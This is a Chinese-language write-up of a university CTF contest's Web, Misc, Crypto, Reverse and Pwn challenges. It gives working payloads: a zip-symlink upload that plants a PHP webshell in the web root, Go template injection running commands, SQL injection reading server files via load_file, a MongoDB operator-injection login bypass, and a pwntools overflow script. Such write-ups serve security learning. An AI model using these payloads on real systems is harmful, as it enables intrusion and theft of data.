喜提第四,真的尽力了,半夜看到研究生大哥交了个flag心都凉了,呜呜呜
校赛WP Web ezupload 做法和国赛那道一样
先创建一个指向/var/www/html的软链接:
然后再把它压缩,使用-y,这样在压缩的时候可以保存软链接:
然后在hey目录下面写个马,然后再把这个hey目录不带-y
的压缩:
1 2 3 4 cd hey vim 1.phpcd ..zip -r hey2.zip hey
然后先上传hey1.zip,再上传hey2.zip
这样就能在网站目录访问到1.php了
ezgo 给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package mainimport ( "fmt" "html/template" "net/http" "os/exec" )type Dalao struct { Name string Func string showtime string }func (D *Dalao) Exec(cmd string , arg ...string ) string { fmt.Println(cmd) out := exec.Command(cmd, arg...) fmt.Println(out) return "" }func Test (w http.ResponseWriter, r *http.Request) { yyz := &Dalao{"yyz" , "do everything by Exec" , "printenv" } value := r.URL.Query() name := value.Get("name" ) tpl1 := fmt.Sprintf(`I'm {{.Name}},i can {{.Func}},what is your name?` + "\n\t" + `I'm ` + name + `,please dalao daidai me` ) fmt.Println(name) t := yyz.Exec(name) fmt.Println(t) html, err := template.New(t).Parse(tpl1) html = template.Must(html, err) html.Execute(w, yyz) }func main () { fmt.Println("success" ) server := http.Server{ Addr: "0.0.0.0:8081" , } http.HandleFunc("/" , Test) server.ListenAndServe() }
go的ssti+命令执行,详细可以看https://tyskill.github.io/posts/gossti/
有个命令执行函数
1 2 3 4 5 6 7 8 func (D *Dalao) Exec(cmd string , arg ...string ) string { fmt.Println(cmd) out := exec.Command(cmd, arg...) fmt.Println(out) return "" }
通过{{.Exec "whoami"}}
来调用,也就是说通过这样就能执行任意命令了{{.Exec "ls""/"}}
但题目已经提示了环境变量;
1 ?name= {{.Exec "printenv" }}
找到flag
easysql 二次注入
第一步弱密码admin:123456789进后台
创建"*"
用户然后查该用户,就可以爆出来全部字段
这是个非预期,嘻嘻嘻
然后用报错+二次直接读文件
同样的,先创建用户,然后直接查该用户
1 username =a' and updatexml(1 ,concat(0 x7e,load_file("/var/lib/mysql-files/flag" )),2 )#
1 username =a' and updatexml(1 ,concat(0 x7e,mid(load_file("/var/lib/mysql-files/flag" ),20 ,50 )),2 )#
又是非预期,海燕学长出的题,狠狠给他非预期了
他说预期解是mysql8的特性(8.0.19-8.0.21 )的新语法,又学到了,具体可以看下面这个文章
1 TABLE table_name [ORDER BY column_name ] [LIMIT number [OFFSET number]]
【网安干货】MySQL8新特性注入技巧 - 掘金 (juejin.cn)
k8s[复现] 你的目标: 找到网站web目录下的flag.txt
hint: longhorn
给了个域名网址,访问,admin/admin通过认证
是个traefik管理面板,看一下Routers
可以看到还有另外两个站点,其中一个应该就是我们要访问的网站
通过扫描发现服务是部署在内网123.123.123.123的直接访问返回404(因为实际没有k8s.io域名),但是通过域名访问可达,说明后台是使用反代通过域名来区分并导向流量的
这时候就需要我们修改host信息:有两种方法,一种是修改本地电脑的host文件,另一种是bp抓包修改host请求头(注意请求ip需要正确)
kubernetes部署traefik_traefik 部署-CSDN博客 :可惜当时没看到这篇文章配置,不然就可能做出来了,但是访问这个域名访问不了就没看了,并没去深究
hosts文件位置以及如何修改hosts文件
修改好后就能访问,然后读取网站web目录下的flag.txt了
easy mongo[复现] hint:
1 2 In [1 ]: {'a' : '1' , 'b' :'2' , 'a' : '2' }Out [1 ]: {'a' : '2' , 'b' : '2' }
一道nodejs的mongo注入,哎,当时想复杂了。。。但是试了几种嵌套{}都不行,结果以为不行了,一心想着去绕字符串检测了,实际是可以嵌套的,还是太菜了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 const express = require ("express" );const { MongoClient } = require ("mongodb" );const bodyParser = require ('body-parser' );const fs = require ("fs" );const { init } = require ("./init" )init ()const app = express ();const port = 3000 ; app.use (bodyParser.text ({ type : '*/*' }))function waf (data ) { if (typeof data === "string" && data.match (/\{"username":"\S*","password":"\S*"\}/ )) { return true } return false } app.get ("/" , (req, res ) => { res.setHeader ('content-type' , 'text/plain' ); res.send (fs.readFileSync ('src/app.js' )) }) app.post ("/login" , async (req, res) => { const client = new MongoClient ("mongodb://127.0.0.1:27017/" ); const database = client.db ("web" ); const users = database.collection ("users" ) if (!waf (req.body )) { res.statusCode = 400 res.send ("Bad Request!" ) return ; } try { const body = JSON .parse (req.body ) const data = await users.findOne (body) if (!data) { res.statusCode = 401 res.send ("Username or password is incorrect." ,) return ; } res.send (process.env .FLAG ); } catch (err) { res.status (500 ).send ("Internal Server Error!" ) } finally { client.close () } }); app.listen (port, () => { console .log (`Example app listening on port ${port} ` ); });
payload
1 {"username" :"admin" ,"password" :"123" ,"username" :{"$ne " :"admin" },"password" :{"$ne " :"1" }}
Misc 快来签到吧 微信关注重邮小帮手,发送:”CQUPT_CTF@2023” 即可拿到 flag 喵
cancanneed日志 先url解码 一下
不难看出是sql盲注,527是错误的,519是正确的
依次提取,再ascii解密
ezpy linux打开就行了
没有行星的行星图片 先gaps拼图
1 gaps run final-puzzlenewcopy.png so.png --generations =20 --population =600
出图之后lsb隐写
出图后有part1,part2
part2根据hint,可写出go-cid的爆破脚本,写明对应原文长度为4 char
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package main import ( "fmt" "github.com/ipfs/go-cid " ) const ( // File is the test file File = "./go.sum" ) func main () { chars := []rune ("_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789}-!@&$*.?" ) targetCID := "QmZ9r7oi9qeebtrkEQwVphsJPBHY4hK7XxwvmEpvqfRKXc" // 生成4 个字符组合 for i := 0 ; i < len (chars); i ++ { for j := 0 ; j < len (chars); j++ { for k := 0 ; k < len (chars); k++ { for l := 0 ; l < len (chars); l++ { combo := []rune{chars[i] , chars[j] , chars[k] , chars[l] } str := string (combo) p := cid.Prefix{ Version: 0 , // 自定义选择版本 取值0 或者 1 Codec: 0 x70, // prtobuf MhType: 0 x12, // sha2-256 MhLength: -1 , } data := []byte (str) fcid, err := p.Sum (data) if err != nil { panic (err) } cStr := fcid.String () if cStr == targetCID { fmt.Printf ("Found matching text: %s\n", str) break } } } } } }
跑出原文:Xt_E
观察原文件的文件尾,有多余数据
base一把梭后发现PK头
base58解密写入zip包中,有加密,先判断是否为伪加密
确实是伪加密,解压出txt文件
共10行,每行空格数对应ascii码转回得字符
拼接可得flag
Crypto factor_n rsa已知n、c、e
网上找个脚本,把n、c、e直接代进去就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from flag import flagfrom Crypto.Util.number import *from sympy import nextprime p = getStrongPrime(512 ) q = nextprime(p) n = p * q e = 65537 message = bytes_to_long(flag) cipher = pow (message, e, n)print ('n = ' , n)print ('cipher = ' , cipher)''' n = 131218645413263355153882609539056016131417346313857164694985244482795553321017628052409848109502464613127315618163239570703997367565089679231386965428337884937201599530967017131631155141474278378404319209291510075037073905863337674016959942427881314862079017726040171724955667479955452318495669802898606424779 cipher = 26956916426221432592724280571104585450884434311786111534684952145936843234803020133270687335772238641092604523138936635434436452351638173961249648611694741353332785924630668149684381852459140144587038595053081706954959823271114216030131967673910349569926570370812503337360887328344577462535615172014761814718 '''
解密脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from gmpy2 import *from Crypto.Util.number import * c = 26956916426221432592724280571104585450884434311786111534684952145936843234803020133270687335772238641092604523138936635434436452351638173961249648611694741353332785924630668149684381852459140144587038595053081706954959823271114216030131967673910349569926570370812503337360887328344577462535615172014761814718 n= 131218645413263355153882609539056016131417346313857164694985244482795553321017628052409848109502464613127315618163239570703997367565089679231386965428337884937201599530967017131631155141474278378404319209291510075037073905863337674016959942427881314862079017726040171724955667479955452318495669802898606424779 e = 65537 p = iroot(n,2 )[0 ]-10000 while not isPrime(p) : p += 1 q = p + 2 while not isPrime(q) : q += 2 while p*q - n != 0 : p = q q += 2 while not isPrime(q) : q += 2 phin = (q-1 )*(p-1 ) d = inverse(e,phin)print (long_to_bytes(pow (c,d,n)))
easy rsa rsa 已知n、e1、e2、c1、c2 共模攻击,直接搜“rsa 已知n、e1、e2、c1、c2 共模攻击脚本”
网上再找个脚本,直接梭
1 2 3 4 5 n = 21771573145763986592602770379032083953335881170591451856506458203475850760061501118535394226628969985233206059296315911690397347836667434435109128324171686244527439493113628913921158288405405962113186211156289605058124670982341567578373136207921280290259302136189507365520136920490778896968488931992872641915703837639619386467023576355296490879565877868919272582572554187079889340867466956130729909785430806969605114163423948705075380361167434123710376476215494057878669959504750533810625469948018049438195727262527900681777986739626190258525351520693111294032141582558043330909883805722078360776479668626263050107257 e1 = 2333 c1 = 20236046966883937058783469690985064459523608653604242077730309077712343213708072594411849134665100756058475337247046576258036622162836153080862260448206856035081571298027798025219218092729616016112832649003223009582008396361618674229957486122878318610917951839224042162619091237946960797504796837924925913005325521394929001313114912579261745540897387436375321492054424258021943704461925674355738636383485203363032255351579986181828111161007506255968208988937838274770050164858898672801286445162737832043604413194138887628383396744139203064446983608231750963918022516203645174058971109111738021158015757433373385133024 e2 = 23333 c2 = 6779011084709444000496143819941323400160770672277502760200693469032706980665048060226580229701670586715720268883972290812559450469032336591140564934745728565087410641581117106295871580471779988513066651589722679666223471785499023574920861370851134634033122599153917379418763516589657247609393749304100179329236280045191853662255388013102296740109358686468747794584089342640405213985377849932670017523089320821107990149459478331896508167400281136682841812366639930915438292291636873364269715553175650101316042630268609189630892899515328838631591272637235552833389381823999514758765690736631096488417709708893245997369
解密脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 import gmpy2import libnum n = 21771573145763986592602770379032083953335881170591451856506458203475850760061501118535394226628969985233206059296315911690397347836667434435109128324171686244527439493113628913921158288405405962113186211156289605058124670982341567578373136207921280290259302136189507365520136920490778896968488931992872641915703837639619386467023576355296490879565877868919272582572554187079889340867466956130729909785430806969605114163423948705075380361167434123710376476215494057878669959504750533810625469948018049438195727262527900681777986739626190258525351520693111294032141582558043330909883805722078360776479668626263050107257 e1 = 2333 c1 = 20236046966883937058783469690985064459523608653604242077730309077712343213708072594411849134665100756058475337247046576258036622162836153080862260448206856035081571298027798025219218092729616016112832649003223009582008396361618674229957486122878318610917951839224042162619091237946960797504796837924925913005325521394929001313114912579261745540897387436375321492054424258021943704461925674355738636383485203363032255351579986181828111161007506255968208988937838274770050164858898672801286445162737832043604413194138887628383396744139203064446983608231750963918022516203645174058971109111738021158015757433373385133024 e2 = 23333 c2 = 6779011084709444000496143819941323400160770672277502760200693469032706980665048060226580229701670586715720268883972290812559450469032336591140564934745728565087410641581117106295871580471779988513066651589722679666223471785499023574920861370851134634033122599153917379418763516589657247609393749304100179329236280045191853662255388013102296740109358686468747794584089342640405213985377849932670017523089320821107990149459478331896508167400281136682841812366639930915438292291636873364269715553175650101316042630268609189630892899515328838631591272637235552833389381823999514758765690736631096488417709708893245997369 s, a, b = gmpy2.gcdext(e1, e2) m = ((pow (c1, a, n) * pow (c2, b, n)) % n) flag = libnum.n2s(int (m))print (flag)
factor_2048bits 1 2 3 4 hint = 170021659067442061523756541191993539248601165314725269340063885026090819928194021233489114706002869522375199940625136026822330472394573193982550217044532146962203411567638298486561460035048451998397915884861905155825573014911356931040204843324084786281107112092211904426426572148513199575481399847133231710208 n = 26572534665683235245636883276068606612246011683144885473463339711820331993493357279285848391008791322234296406608539840620252625886064149394162998948970494176467317183311068211754639508369506106626167584042532674048767021259563143175030276397301094824563794971045331643148544039656526615133318494601670688100830427083371422333448416345157657081894568628680132969792458721329931299527818220689347292610785587787837487603664368727957712489422350366840751269348100479824826707549651813948243868760028344290958809882314383956517334878930614926458454637703779278161529934602431923391507121553686269628353968327172758558101 cipher = 6757305476823187630788813544175078002034639295382430908622959031152682951668576844271799811383004513343837564381952708716729553254090143798506889925295074373036913929804491380602451212049174613264171604463300669869149837525862922090696673791849544763152707468306110063163234629066598567091839169641464962113876354673950799668460699078314705550375034690000052853842247971910604379818131880965835942702654798359475442300498917978942357402126717495842970216610908374556549274105304987976888600967085331993375097585293113427600688155704013684617306744103329525203776458981287207246516848585805560812026318668317699834254 e = 65537
使用自动化工具 通过factor查询将n分解
直接计算明文并将明文转字符即可
Re babyre
ida打开F5直接看伪代码
写py
1 2 3 t = "+U+&U[W+os" for i in t: print (chr(ord(i)+10) ,end ="" )
HackMe hint:这是一个 python 写的可执行文件哦😋
不懂,直接谷歌搜“re py可执行文件逆向”
找了篇文章:https://www.anquanke.com/post/id/170340
使用PyInstaller Extractor
来提取可执行文件的资源内容,但是!!!提取文件的时候,需要和编写的python
的程序版本一致
不然会报warning
所以,只能一个一个试试,发现是python3.8版本
1 python pyinstallerextractor.py HackMe
如果版本正确,PYZ-00.pyz_extracted里面就会有东西
一堆pyc文件,HackMe.exe_extracted也有个HackMe.pyc文件
拿在线网站 反编译HackMe.pyc,稍微改一下报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import osimport functions flag = [ 48 , 38 , 71 , 31 , 56 , 50 , 79 , 44 , 49 , 101 , 67 , 40 , 39 , 113 , 87 , 38 , 32 , 54 , 41 , 78 , 28 , 80 , 37 , 76 , 40 , 34 , 49 , 135 , 89 , 128 , 77 , 36 , 31 , 50 , 132 , 65 , 88 , 79 , 85 , 88 , 81 , 83 , 82 , 56 , 88 , 65 , 85 , 151 ]print ('Can you hack me?' ) f = input ('Input flag:' ) ef = functions.xbase64(f)for i in range (48 ): if functions.xor(ef[i], i) != flag[i]: print ('Sry, you fail.' ) os.system('pause' ) exit() continue print ('WOW! You really can hack me!' ) os.system('pause' )
发现需要functions库,而PYZ-00.pyz_extracted文件夹就有functions.pyc文件,反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import Hint s = 'zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA9876543210/+' def xbase64 (str1 ): bin_str = [] for i in str1: x = str (bin (ord (i))).replace('0b' , '' ) bin_str.append('{:0>8}' .format (x)) outputs = '' nums = 0 if bin_str: temp_list = bin_str[:3 ] if len (temp_list) != 3 : nums = 3 - len (temp_list) if len (temp_list) < 3 : temp_list += ['00000000' ] temp_str = '' .join(temp_list) temp_str_list = [] for i in range (0 , 4 ): temp_str_list.append(int (temp_str[i * 6 :(i + 1 ) * 6 ], 2 )) if nums: temp_str_list = temp_str_list[0 :4 - nums] for i in temp_str_list: outputs += s[i] bin_str = bin_str[3 :] continue outputs += nums * '=' return outputsdef xor (a, b ): return (ord (a) ^ 250 - b) - 100
这里的Hint也是个需要的库,反编译
1 2 print ('Hey, there is nothing here!' ) x = 'zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA9876543210/+'
是换表base64,和xor
编写解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 encrypted_flag = [ 48 , 38 , 71 , 31 , 56 , 50 , 79 , 44 , 49 , 101 , 67 , 40 , 39 , 113 , 87 , 38 , 32 , 54 , 41 , 78 , 28 , 80 , 37 , 76 , 40 , 34 , 49 , 135 , 89 , 128 , 77 , 36 , 31 , 50 , 132 , 65 , 88 , 79 , 85 , 88 , 81 , 83 , 82 , 56 , 88 , 65 , 85 , 151 ]def decrypt_xor (result, b ): return chr ((result + 100 ) ^ 250 - b)def xbase64_decode (encoded_str, base64_table ): reverse_table = {char: i for i, char in enumerate (base64_table)} while encoded_str[-1 ] == '=' : encoded_str = encoded_str[:-1 ] bin_str = '' for char in encoded_str: bin_str += format (reverse_table[char], '06b' ) decoded_str = '' for i in range (0 , len (bin_str), 8 ): decoded_str += chr (int (bin_str[i:i + 8 ], 2 )) return decoded_str base64_table = 'zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA9876543210/+' decrypted_flag = '' for i in range (len (encrypted_flag)): decrypted_flag += decrypt_xor(encrypted_flag[i], i) flag = xbase64_decode(decrypted_flag, base64_table)print (f"Decrypted flag: {flag} " )
运行拿到flag
Pwn checkin
s1有0x10个字节, 紧接着是s2, 有0x10个字节, 之后的第0xc个字节是v3
需要注意, 如果直接通过溢出s1改变v3,会造成s1与s2的比较不等, 所以要使用\00截断,
payload需要填写31个字节的垃圾数据后截断,然后填写0xc个字节的垃圾数据到达v3的位置, 将v3的值赋值为0即可
1 2 3 4 5 6 7 8 from pwn import * p=process("./pwn/pwn" ) payload= b'a' *31 +b'\00' +b'a' *0xc +p64(0 ) p.recvuntil("Check in~\n" ) p.sendline(payload) p.interactive()